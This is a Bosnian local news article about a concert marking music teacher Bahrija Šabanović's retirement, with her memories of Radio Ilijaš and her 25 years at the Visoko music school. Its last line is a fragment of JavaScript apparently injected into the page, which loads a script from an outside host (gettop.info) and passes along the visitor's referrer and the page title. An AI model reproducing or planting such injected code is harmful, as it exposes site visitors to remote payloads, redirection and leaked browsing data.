Poklon koncertom u penziju ispraćena profesorica Bahrija Šabanović, jedna od prvih muzičkih urednika Radio Ilijaša

Profesorica muzike može biti ispraćena u penziju, ali muzika  i druga lijepa umjetnost nikada neće napustiti srce svog istinskog zaljubljenika. Visoko je u utorak navečer upriličilo još jedan koncert za dostojanstven ispraćaj  u penziju  i znak zahvalnosti za sve godine uložene u muzičko obrazovanje i kulturno uzdizanje djece koje je u svom radnom vijeku posvetila profesorica Bahrija Šabanović.   Program koncerta osmislio je i realizovao doc. prof. Bartolomej Stanković. Na repertoaru koncerta prisutni su mogli slušati najznačajnija djela njemačkog velikana klavira, kompozitora i pijaniste Ludwig van Beethovena. U ugodnoj atmosferi Bartolomej Stanković je odsvirao pet kompozicija.

Ispraćaju je prisustvovala i ekipa Radio Ilijaša jer je Bahrija Šabanović svoju dugu i uspješnu karijeru počela upravo na talasima Radio Ilijaša, gdje je radila kao muzički urednik, spiker, voditelj, novinar, lektor od samog osnivanja Radio Ilijaša 1978. godine.

Rado se prisjetila tih početaka, prije gotovo 40 godina.

Bilo je to davno odmah po završetku Muzičke akademije, neke 1978. godine. Bila sam prvi spiker pa kasnije muzički urednik. Bili smo radijski pioniri, nismo imali od koga da učimo, ali smo se trudili i za nekih pet –šest godina Radio Ilijaš postao je veoma popularan. Bili smo mladi, puni volje entuzijazma da nešto napravimo,  bilo nas je sedam, osam novinara, urednika  i Radio Ilijaš postao je najpopularnija lokalna radio stanica u bivšoj Jugoslaviji zahvaljujući i svojim direktorima. Bili smo popularniji u Beogradu i okolini nego u BiH jer su sve ondašnje zvijezde gostovali u programu Radio Ilijaša.   Tamo sam radila punih 15 godina kao muzički urednik, voditelj muzičkih emisija, lektor. Bilo je to divno vrijeme, ali svemu što je lijepo dođe kraj, tako se sve to završilo početkom rata 1992. godine, evocirala je uspomene profesorica Šabanović.

Zbog rata iz Ilijaša je izbjegla u Visoko, gdje je u Muzičkoj školi „Avdo Smajlović“ počela raditi u oktobru 1992. godine. Kaže, da iako je teško i Visoko nije takva sredina, prihvatili su je kao svoje čeljade i  ta sredina je prepoznala i nagradila trud i rad.

Ja sam čovjek od rada, angažovanja, truda i rezultata, ovdje sam provela 25 godina. Generacije i generacije su iza mene i drago mi je zbog toga. U srijedu su moje kolege i učenici, bivši i sadašnji upriličili koncert za moj ispraćaj u penziju, sala je bila puna, a ovaj koncert  organizuje također moj učenik s kojim sam prošla sve faze školovanja i koji je dostigao stepen magistra.  Hvala im od srca na svemu. Ljudi se cijeli život trude da rade svoj posao kako najbolje umiju i često se desi da sredina to ne prepoznaje. Ja sam imala sreću da radim u sredini koja je to prepoznala i nagradila jednim veličanstvenim ispraćajem u penziju, ja nemam za čime žaliti, sretna sam i ponosna zbog toga  kazala je Šabanović.

Muzikom se ne može prestati baviti, jer to je već u krvi i profesorica veli da je uvijek kritički raspoložena prema vokalima, muzici, aranžmanima. Treba širiti muzičku kulturu i dalje obrazovati omladinu kako da znaju šta je dobra muzika i da u njoj uživaju.

Profesorica  Šabanović podjeća na važnost muzike u odgoju jednog čovjeka i na misli starih grčkih filozofa da je jedna država dobra onoliko koliko je dobra i kvalitetna muzika koja se u njoj sluša i njeguje,a sve dok se sluša šund i muzika lošeg i nultog kvaliteta i država će biti loša.

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;